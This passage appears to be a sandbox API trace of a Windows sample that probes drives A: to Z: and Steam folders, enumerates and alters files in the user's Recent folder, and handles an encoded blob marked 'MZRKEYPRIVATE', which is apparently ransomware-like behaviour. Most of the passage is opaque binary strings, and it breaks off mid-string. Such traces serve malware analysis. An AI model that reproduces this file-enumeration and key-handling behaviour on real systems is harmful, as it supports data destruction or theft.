µi4Ã\x91±îáÂ\x83Ã\x87Ã\x8b^ju&0¡\x0eÂ\x81)¼Â\x8béfÃ\x9e´eÃ\x81\x0cÂ\x845Ã\x9eÃ\x86Â\x89¿Â\x98]q\x0blo-Â\x80Ã\x8býrq©ñ«3©…ëáKzzWÃ\x8aÃ\x84Â¥Â\x8c¸´Â\x81^4£\x14±uW¤¾î\x14Â\x87?3iÃ\x84ëMO®\x0eCÃ\x87\x1càLÂ\x88Â\x9e®\x18qÂ\x9cðÃ\x9e\x06\x15Â\x9cÂ\x8fXxÃ\x884Ã\x83EÃ\x99g¦zÂ\x98ºõ\"4Ã\x91\\Ã\x80k\x1akÂ\x8e\x03h*·\x06Ã\x90Â\x92Â\x81|Ã\x9fáq·øÂ\x90kÂ\x82Ã\x8dÃ\x82Ã\x89zÂ\x83xÃ\x97kë¾r·yàLé8H+éÂ\x93©Â\x9a\x11Å^D¾QÃ\x9ezÂ\x92bÃ\x87Ã\x86Ã\x94Â\x9eÂ\x9d÷Â\x888µÃ\x88@Ã\x8fq,ñÃ\x9dÂ\x93äüÃ\x95ðYwàä¸\x03Ã\x8b í\x1d6ø£Ã\x8a¬a־k/¾Ã\x81¼^Ã\x913eÂ\x94Ã\x8a¨Ã\x81Oo]nÂ\x92$ñc«Ã\x94çþ\x06üEa!òÃ\x9dVÂ\x9d^Â\x8c<,\x0ffðµÂ\x80v*¬Â\x80\x05Ã\x9fëwÂ\x99ëEäN£Q\x10_1bbÃ\x8f\x08Â\x9cÂ\x98;NÂ\x89Ã\x8dkÂ\x94\x06Ã\x90ü", lpUsedDefaultChar=0x0) returned 1840 [0078.564] GetCurrentThreadId () returned 0xa30 [0078.565] GetCurrentThreadId () returned 0xa30 [0078.565] GetCurrentThreadId () returned 0xa30 [0078.565] GetCurrentThreadId () returned 0xa30 [0078.565] GetCurrentThreadId () returned 0xa30 [0078.565] GetCurrentThreadId () returned 0xa30 [0078.565] QueryPerformanceCounter (in: lpPerformanceCount=0x18fcd8 | out: lpPerformanceCount=0x18fcd8*=19791988363) returned 1 [0078.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x1ewÅ\x83\x16ãv\x8ao)¶èk\x1a\x92\x168à\x15\x9eüyµ\x9b\x84ÇO\x06ïå\x19Õ\x11\x05…Ë\x12¡\x0b\x8eÊ»9\x1a¸\x11\x8c£DiqyLz(\x11\x15bk Ý\x1a×eC\x8a…÷f¤6ùÈ\x11:Ä|çÜb¥¸~<\x8a-Í\x94@â=¸\x1c60hrüÂîq¸…¥M¢Âq²¨äç\x01§z£X\x89o\x16­°+ãk\x12\x86\"E\x86¦ÇT0ü\x91)«\x93\x15\x88yÇT\x9e\x02ÁD=[ÞÂ\x86ÔvÞ¤÷<áÊÇ\x92\x0c3\x06\x10½\x03ÃÃoË3\x9e\x024\x02¢îm^·x¼\x80®L©\x80-\x10é9¦×Ü|Æ9Ô\x0c»6×~¹c\x14Ò,\x02¹3M)=åT|í\x1dkà\x89\x11kKeÞ\x93_Ñe§¾=Ç×ãÏ\x86ÿ/);\x93Ç?¬¾,\x139«Á\x15%34 \x16\x03\x15X\x06P\x06\x97Ïê\x13oZ\x09\x0c¨\x7fEe@AÞÜñ>M\x04g«Çn[w\x1cfÊ\x94\x9bj4\x02;Ãñ6EqÏ0°\x9dðÍ\x99\x0b\x0cÞ@", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 474 [0078.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x1ewÅ\x83\x16ãv\x8ao)¶èk\x1a\x92\x168à\x15\x9eüyµ\x9b\x84ÇO\x06ïå\x19Õ\x11\x05…Ë\x12¡\x0b\x8eÊ»9\x1a¸\x11\x8c£DiqyLz(\x11\x15bk Ý\x1a×eC\x8a…÷f¤6ùÈ\x11:Ä|çÜb¥¸~<\x8a-Í\x94@â=¸\x1c60hrüÂîq¸…¥M¢Âq²¨äç\x01§z£X\x89o\x16­°+ãk\x12\x86\"E\x86¦ÇT0ü\x91)«\x93\x15\x88yÇT\x9e\x02ÁD=[ÞÂ\x86ÔvÞ¤÷<áÊÇ\x92\x0c3\x06\x10½\x03ÃÃoË3\x9e\x024\x02¢îm^·x¼\x80®L©\x80-\x10é9¦×Ü|Æ9Ô\x0c»6×~¹c\x14Ò,\x02¹3M)=åT|í\x1dkà\x89\x11kKeÞ\x93_Ñe§¾=Ç×ãÏ\x86ÿ/);\x93Ç?¬¾,\x139«Á\x15%34 \x16\x03\x15X\x06P\x06\x97Ïê\x13oZ\x09\x0c¨\x7fEe@AÞÜñ>M\x04g«Çn[w\x1cfÊ\x94\x9bj4\x02;Ãñ6EqÏ0°\x9dðÍ\x99\x0b\x0cÞ@", cchWideChar=320, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 474 [0078.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x1ewÅ\x83\x16ãv\x8ao)¶èk\x1a\x92\x168à\x15\x9eüyµ\x9b\x84ÇO\x06ïå\x19Õ\x11\x05…Ë\x12¡\x0b\x8eÊ»9\x1a¸\x11\x8c£DiqyLz(\x11\x15bk Ý\x1a×eC\x8a…÷f¤6ùÈ\x11:Ä|çÜb¥¸~<\x8a-Í\x94@â=¸\x1c60hrüÂîq¸…¥M¢Âq²¨äç\x01§z£X\x89o\x16­°+ãk\x12\x86\"E\x86¦ÇT0ü\x91)«\x93\x15\x88yÇT\x9e\x02ÁD=[ÞÂ\x86ÔvÞ¤÷<áÊÇ\x92\x0c3\x06\x10½\x03ÃÃoË3\x9e\x024\x02¢îm^·x¼\x80®L©\x80-\x10é9¦×Ü|Æ9Ô\x0c»6×~¹c\x14Ò,\x02¹3M)=åT|í\x1dkà\x89\x11kKeÞ\x93_Ñe§¾=Ç×ãÏ\x86ÿ/);\x93Ç?¬¾,\x139«Á\x15%34 \x16\x03\x15X\x06P\x06\x97Ïê\x13oZ\x09\x0c¨\x7fEe@AÞÜñ>M\x04g«Çn[w\x1cfÊ\x94\x9bj4\x02;Ãñ6EqÏ0°\x9dðÍ\x99\x0b\x0cÞ@", cchWideChar=320, lpMultiByteStr=0x1fd1338, cbMultiByte=474, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x1ewÅÂ\x83\x16ãvÂ\x8ao)¶èk\x1aÂ\x92\x168à\x15Â\x9eüyµÂ\x9bÂ\x84Ã\x87O\x06ïå\x19Ã\x95\x11\x05…Ã\x8b\x12¡\x0bÂ\x8eÃ\x8aÃ\x82»9\x1a¸\x11Â\x8c£DiqyLz(\x11\x15bk Ã\x9d\x1aÃ\x97eCÂ\x8a…÷f¤6ùÃ\x88\x11:Ã\x84|çÃ\x9cb¥¸~<Â\x8a-Ã\x8dÂ\x94@â=¸\x1c60hrüÃ\x82îq¸…¥M¢Ã\x82q²¨äç\x01§z£XÂ\x89o\x16­°+ãk\x12Â\x86\"EÂ\x86¦Ã\x87T0üÂ\x91)«Â\x93\x15Â\x88yÃ\x87TÂ\x9e\x02Ã\x81D=[Ã\x9eÃ\x82Â\x86Ã\x94vÃ\x9e¤÷<áÃ\x8aÃ\x87Â\x92\x0c3\x06\x10½\x03Ã\x83Ã\x83oÃ\x8b3Â\x9e\x024\x02¢îm^·x¼Â\x80®L©Â\x80-\x10é9¦Ã\x97Ã\x9c|Ã\x869Ã\x94\x0c»6Ã\x97~¹c\x14Ã\x92,\x02¹3M)=Ã¥T|í\x1dkàÂ\x89\x11kKeÃ\x9eÂ\x93_Ã\x91e§¾=Ã\x87Ã\x97ãÃ\x8fÂ\x86ÿ/);Â\x93Ã\x87?¬¾,\x139«Ã\x81\x15%34 \x16\x03\x15X\x06P\x06Â\x97Ã\x8fê\x13oZ\x09\x0c¨\x7fEe@AÃ\x9eÃ\x9cñ>M\x04g«Ã\x87n[w\x1cfÃ\x8aÂ\x94Â\x9bj4\x02;Ã\x83ñ6EqÃ\x8f0°Â\x9dðÃ\x8dÂ\x99\x0b\x0cÃ\x9e@", lpUsedDefaultChar=0x0) returned 474 [0078.628] GetCurrentThreadId () returned 0xa30 [0078.628] GetCurrentThreadId () returned 0xa30 [0078.628] GetCurrentThreadId () returned 0xa30 [0078.629] GetCurrentThreadId () returned 0xa30 [0078.629] GetCurrentThreadId () returned 0xa30 [0078.629] GetCurrentThreadId () returned 0xa30 [0078.716] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0078.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Steam" (normalized: "c:\\program files\\steam")) returned 0xffffffff [0078.809] GetLastError () returned 0x2 [0078.809] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0078.809] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Steam" (normalized: "c:\\program files (x86)\\steam")) returned 0xffffffff [0078.809] GetLastError () returned 0x2 [0078.816] GetFileAttributesW (lpFileName="A:\\" (normalized: "a:")) returned 0xffffffff [0078.816] GetLastError () returned 0x3 [0078.821] GetFileAttributesW (lpFileName="B:\\" (normalized: "b:")) returned 0xffffffff [0078.821] GetLastError () returned 0x3 [0078.825] GetFileAttributesW (lpFileName="D:\\" (normalized: "d:")) returned 0xffffffff [0078.825] GetLastError () returned 0x3 [0078.828] GetFileAttributesW (lpFileName="E:\\" (normalized: "e:")) returned 0xffffffff [0078.828] GetLastError () returned 0x3 [0078.832] GetFileAttributesW (lpFileName="F:\\" (normalized: "f:")) returned 0xffffffff [0078.833] GetLastError () returned 0x3 [0078.837] GetFileAttributesW (lpFileName="G:\\" (normalized: "g:")) returned 0xffffffff [0078.837] GetLastError () returned 0x3 [0078.841] GetFileAttributesW (lpFileName="H:\\" (normalized: "h:")) returned 0xffffffff [0078.841] GetLastError () returned 0x3 [0078.845] GetFileAttributesW (lpFileName="I:\\" (normalized: "i:")) returned 0xffffffff [0078.845] GetLastError () returned 0x3 [0078.848] GetFileAttributesW (lpFileName="J:\\" (normalized: "j:")) returned 0xffffffff [0078.886] GetLastError () returned 0x3 [0078.890] GetFileAttributesW (lpFileName="K:\\" (normalized: "k:")) returned 0xffffffff [0078.890] GetLastError () returned 0x3 [0078.894] GetFileAttributesW (lpFileName="L:\\" (normalized: "l:")) returned 0xffffffff [0078.895] GetLastError () returned 0x3 [0078.898] GetFileAttributesW (lpFileName="M:\\" (normalized: "m:")) returned 0xffffffff [0078.898] GetLastError () returned 0x3 [0078.902] GetFileAttributesW (lpFileName="N:\\" (normalized: "n:")) returned 0xffffffff [0078.902] GetLastError () returned 0x3 [0078.905] GetFileAttributesW (lpFileName="O:\\" (normalized: "o:")) returned 0xffffffff [0078.905] GetLastError () returned 0x3 [0078.909] GetFileAttributesW (lpFileName="P:\\" (normalized: "p:")) returned 0xffffffff [0078.909] GetLastError () returned 0x3 [0078.912] GetFileAttributesW (lpFileName="Q:\\" (normalized: "q:")) returned 0xffffffff [0078.913] GetLastError () returned 0x3 [0078.916] GetFileAttributesW (lpFileName="R:\\" (normalized: "r:")) returned 0xffffffff [0078.917] GetLastError () returned 0x3 [0078.920] GetFileAttributesW (lpFileName="S:\\" (normalized: "s:")) returned 0xffffffff [0078.920] GetLastError () returned 0x3 [0078.925] GetFileAttributesW (lpFileName="T:\\" (normalized: "t:")) returned 0xffffffff [0078.926] GetLastError () returned 0x3 [0078.930] GetFileAttributesW (lpFileName="U:\\" (normalized: "u:")) returned 0xffffffff [0078.930] GetLastError () returned 0x3 [0078.934] GetFileAttributesW (lpFileName="V:\\" (normalized: "v:")) returned 0xffffffff [0078.934] GetLastError () returned 0x3 [0078.938] GetFileAttributesW (lpFileName="W:\\" (normalized: "w:")) returned 0xffffffff [0078.938] GetLastError () returned 0x3 [0078.943] GetFileAttributesW (lpFileName="X:\\" (normalized: "x:")) returned 0xffffffff [0078.943] GetLastError () returned 0x3 [0078.947] GetFileAttributesW (lpFileName="Y:\\" (normalized: "y:")) returned 0xffffffff [0078.948] GetLastError () returned 0x3 [0078.951] GetFileAttributesW (lpFileName="Z:\\" (normalized: "z:")) returned 0xffffffff [0078.951] GetLastError () returned 0x3 [0078.952] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0078.955] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent")) returned 0x11 [0078.955] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=8, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0078.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3d81b960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0079.034] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3d81b960, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d81b960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0079.034] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3427700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3427700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="-0cgImthwd.lnk", cAlternateFileName="-0CGIM~1.LNK")) returned 1 [0079.035] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0079.035] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0079.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3427700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3427700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3427700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeee)) returned 1 [0079.043] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\-0cgimthwd.lnk")) returned 0x20 [0079.043] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-0cgImthwd.lnk", dwFileAttributes=0x80) returned 1 [0079.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0079.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f8265c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3D